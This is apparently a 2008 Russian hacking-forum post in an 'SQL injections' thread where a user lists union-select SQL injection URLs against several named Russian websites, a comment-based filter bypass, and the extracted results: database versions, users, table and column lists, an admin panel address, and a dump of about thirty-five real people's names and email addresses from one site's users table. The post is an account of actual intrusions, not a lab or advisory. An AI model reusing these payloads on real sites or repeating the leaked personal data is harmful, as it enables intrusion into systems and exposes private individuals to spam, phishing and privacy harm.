SQL Инъекции

#11

25.01.2008, 19:10

nex0

Познающий

Регистрация: 06.11.2007

Сообщений: 57

С нами: 9742782

Репутация: 272

kraspol.ru
http://kraspol.ru/news.php?nid=59000+union+select+1,2,3,4,5,6,7,8/*
http://vesti-ural.ru/news.php?nid=1064999+union+select+1,2,3,4,concat(i d,char(58),name,char(58),email),6,7,8,9,10,11,12,1 3+from+users+limit+5,60/*
version() 4.1.22
user() kraspol@localhost
database() wwwkraspolru
vesti-ural.ru
version() 5.0.33-log
user() siteuser@localhost
database() vesti_ural

путь до скрипта /usr/Internet/WebSRV/news.php, узнал из ошибки мускула.

таблицы

Код:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
apps
comments
fotoimage
fotorep
images
keywords
left_nav_banners
left_nav_panel
menuitems
mitemsect
news
newscomm
newsimag
newskeys
newsrubr
prg_items
prg_weeks
rubrics
sections
showapps
terms
users - колонки id, name, email, пассов не нашел=/
vipusks
w_city
w_day
w_descr
w_ekaburg
w_nebulosity
w_precipitation
w_weather
w_winddir

содержимое users

Код:

вид ID:name:email
1:Денис:MrDekk@sgtrk.ru
2:MrDekk:MrDekk@yandex.ru
3:Имя:E-mail
5:Огнева Татьяна:ota@ekt.usi.ru
6:Достовалова Елена Дмитриевна:femida@uralmail.com
7:заинтересовавшийся:vova26_92@planet-a.ru
8:Сергей Трофимов:strofimov@mail.ru
9:галина:torgova@ru66.ru
10:Света:Svetaxvostik@list.ru
11:Ромбик:Jane-tdk@mail.ru
12:наташа:forest13@ mail.ru
13:Имя Jul:E-mail orlova@di-fence.ru
14:Имя Владимир Александрович:E-mail shva@energops.ru
15:Kotovsk:kotovska@e1.ru
16:Ирина Сингх:irinasingh@mail.ru
17:Сергей:Over4@mail.ru
18:Анна:salymskaya@zhizn.e-burg.ru
19:Андрей:brabus45@yandex.ru
20:Алексей:Аleks@.ru
21:Prorok:Drug1drug@rambler.ru
22:Дина:kralka@yandex.ru
23:Имя МаксУля:E-mail podrabinok@bk.ru
24:bdfybwrfz:iot-smi@epn.ru
25:Татьяна:paravinat@mail.ru
26:константин:mushtandroid87mail.ru
27:Dawn:jack@fromru.net
28:Timothy:laura@mail15.com
29:Jody:mike@yahoo.com
30:Александр:sashka3333@rambler.ru
31:Дмитрий:bdv54@olympus.ru
32:Антон:apsplus@mail.ru
33:Марина:Katusha.But@rambler.ru
34:Николай Сызганов:nas@tsgrp.ru
35:Елена:fb69@mail.ru
36:Имя Екатерина:E-mail katrin-l@planet-a.ru
37:Ольга:ned.olga@mail.ru

админка

Код:

http://vesti-ural.ru/admin

лезть туда не пытался

tnuva.ru
http://www.tnuva.ru/recipes.php?rid=69699+union+select+1,2,3,4,5,6/*
B]version()[/B] 5.0.45-community-log
user() optionsw_ru01@localhost
database() optionsw_ru01

колонки в users

Код:

online
votes
addr
created
city
email
phone
thumb
filename
lastname
firstname
uid

stjag.ru
"+" фильтруется, поэтому я использую "/**/"

Код:

http://www.stjag.ru/new.php?nid=2944799/**/union/**/select/**/1,2,3,4,5,666,7,8,9,10,11,12,13,14/*

смотрим результат в <title></title>

Код:

http://www.stjag.ru/new.php?nid=2944799/**/union/**/select/**/1,2,3,4,5,concat(version(),char(58),user(),char(58),database()),7,8,9,10,11,12,13,14/*

version() 4.1.22

user() dbu_ansimov_1@localhost
database() db_ansimov_6